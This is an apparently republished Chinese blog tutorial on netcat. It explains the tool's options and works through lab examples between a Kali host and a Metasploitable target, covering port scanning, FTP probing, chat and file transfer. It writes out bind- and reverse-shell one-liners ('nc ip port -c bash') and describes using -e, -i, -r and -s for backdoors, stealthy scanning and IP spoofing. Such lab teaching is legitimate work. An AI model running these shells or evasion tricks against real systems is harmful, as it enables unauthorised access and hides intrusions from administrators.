当前位置:   article > 正文

【netcat学习】学习使用网络工具中的瑞士军刀——NetCat_nc -uvz

nc -uvz

简介

NetCat被称为网络工具中的“瑞士军刀”,体积小巧,功能强大。使用netcat可以建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,可以在这些连接上读取数据,直到连接关闭为止。

它的主要功能有:

  • Telnet的功能
  • 远程控制
  • 传输文本、文件
  • 加密传输
  • 加密流量
  • 远程克隆硬盘
  • 获取banner信息

参数

netcat简称nc,输入nc -h查看其支持的选项:
nc查看选项
部分选项解释:

-e: 如果netcat使用gaping_security_hole选项进行编译,那么只要某人在NET后台所监听的任何端口上建立连接,该netcat都将执行,且客户端的netcat会通过管道将I/O传输到在别处所监听的另外一个netcat实例中。这个选项非常危险,需要对nc有一定的了解,这是在建立后门shell的一个快捷且容易的方法。

-i:延时间隔,表示两次数据发送之间nc等待的时间。在使用nc对同一主机多个端口进行操作时,设置nc等待的时间,可以使得黑客在进行数据传输或对一个服务进行攻击的时候更加隐蔽,也可以帮助避免被系统检测到或被系统管理员发现。

-g:nc支持loose source routing(松散源路由)。可以在命令行中通过-g选项,最多支持8个网关来强迫nc流量经过。可以利用这个方法达到通过防火墙的过滤或者允许访问主机列表。

-G:让用户在-g选项所指定的路由列表中指定的一个地址作为当前的下一个路由,由于IPv4的地址总为4字节大小,因此这个参数总是4字节的倍数。例如4代表列表中的第一个IP地址,8代表第二个,以此类推。

-l:切换为nc的监听模式。这个选项需要与nc的-p选项一起使用以告诉nc绑定某个指定的TCP端口并等待即将到来的连接。若换成-u选项,则使用UDP端口而非TCP端口。

-L:该选项在Windows中有用,当一个连接被关闭后,使用相同的命令行选项进行重启监听模式。即使此前的连接已经断开,nc也可以在不需要用户干涉的情况下,继续接收后面的新连接。同样需要与-p选项同时使用。

-o:对数据执行一次十六进制的转储(hex dump)。nc -o file会将双方的通信数据记录下来,并将其存储在file中。

-p:指定nc使用的本地端口号。当通过-l或-L选项来使用监听模式时,该参数是必需的。若没有指定,则nc会与其他大多数使用TCP或UDP客户程序的做法一样,使用系统分配的任意端口。

-r:该参数使nc可以随机选择本地和远程端口。当使用nc在系统中范围很大的一批端口上获取信息时,要想混合源端口和目标端口的顺序看起来不怎么象端口扫描,这个选项是很有用的。当这个选项与-i选项和一个足够大的间隔结合使用的时候,在不被注意的端口扫描成功几率能得到很大提升。

-s:指定nc建立连接时使用的IP地址,该选项运行黑客做一些工作,它允许黑客隐藏他们的IP地址或假冒他人的IP地址,但是要得到路由到他们所欺骗的地址的任何信息,都需要使用-g源路由选项。其次,当处于监听模式时,大多数情况下都可以与一个已经监听的服务“预先绑定”,所有TCP和UDP服务都绑定到某个端口。

-t 如果使用telnet选项编译,nc就可以与telnet服务器进行telnet选项协商,虽然它的响应是毫无意义的信息,但可以通过该状态看到连接23端口的信息。

-u nc使用UDP而非TCP,在客户模式和监听模式下都起作用。

-v 控制nc将要做的事情达到的程度,如使用nc -v,那么nc将仅吐出它所接收到的数据,一个单独的-v可以知道它连接或绑定的地址是否有问题发生,第2个-v可以让nc在一个连接结束的时候让你知道这个连接总共发送和接收了多少数据。

-w控制在一个连接上nc放弃之前等待的时间。同时也告诉nc当在标准输入上接收到一个eof(end-of-file)之后应该等待多长时间来关闭连接并退出。如果你通过nc向远程服务器发送命令并且期望大量的数据返回(例如:向一台web服务器发送一个http命令以下载一个大文件),该选项是很有用的。

操作实例

kali:192.168.137.4
metasploitable:192.168.137.141

连接到远程主机/监听本地主机

连接到远程主机:nc -nvv remote_ip port
监听本地端口:nc -l -p local_port

监听本地999端口,在浏览器中使用get请求999端口,命令行中出现了该请求

nc监听本地端口

FTP匿名探测

命令:nc target_IP 21

FTP匿名探测

简易聊天

本地命令:nc -l port
远程命令:nc ip port

使用nc执行shell进行远程控制

正向连接和反向连接。

正向连接:A将自己的shell发送给B,B直接使用nc进行连接。

A:nc-lp port -c bash
B:nc ip port
  • 1
  • 2

正向连接
反向连接:B首先开启监听自己的某个端口,A再将自己的bash发送给B

B:nc -lp port
A:nc ip port -c bash
  • 1
  • 2

反向连接
通常由于防火墙的存在,多采用反向连接,让目标主机主动发送shell。

使用nc进行端口扫描
nc -vz ip port-port #扫描TCP端口
nc -uvz ip port-port #扫描UDP端口
  • 1
  • 2

扫描TCP端口

nc传输文件、目录

命令:

nc -lp port >save_file_name # save_file_name指定要保存的文件名
nc -nv ip port < file_name -q 1 # file_name为将要发送到接收端的文件

tar -cvf -目录名/ |nc -lp port -q 1 # 将目录打包发送
nc -nv ip port |tar -xvf - # 将目录解包
  • 1
  • 2
  • 3
  • 4
  • 5

nc传输文件
nc传输目录

reference

NetCat使用指南
nc之一:NetCat简介与使用方法
“瑞士军刀”Netcat使用方法总结

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/AllinToyou/article/detail/194678
推荐阅读
相关标签
  

闽ICP备14008679号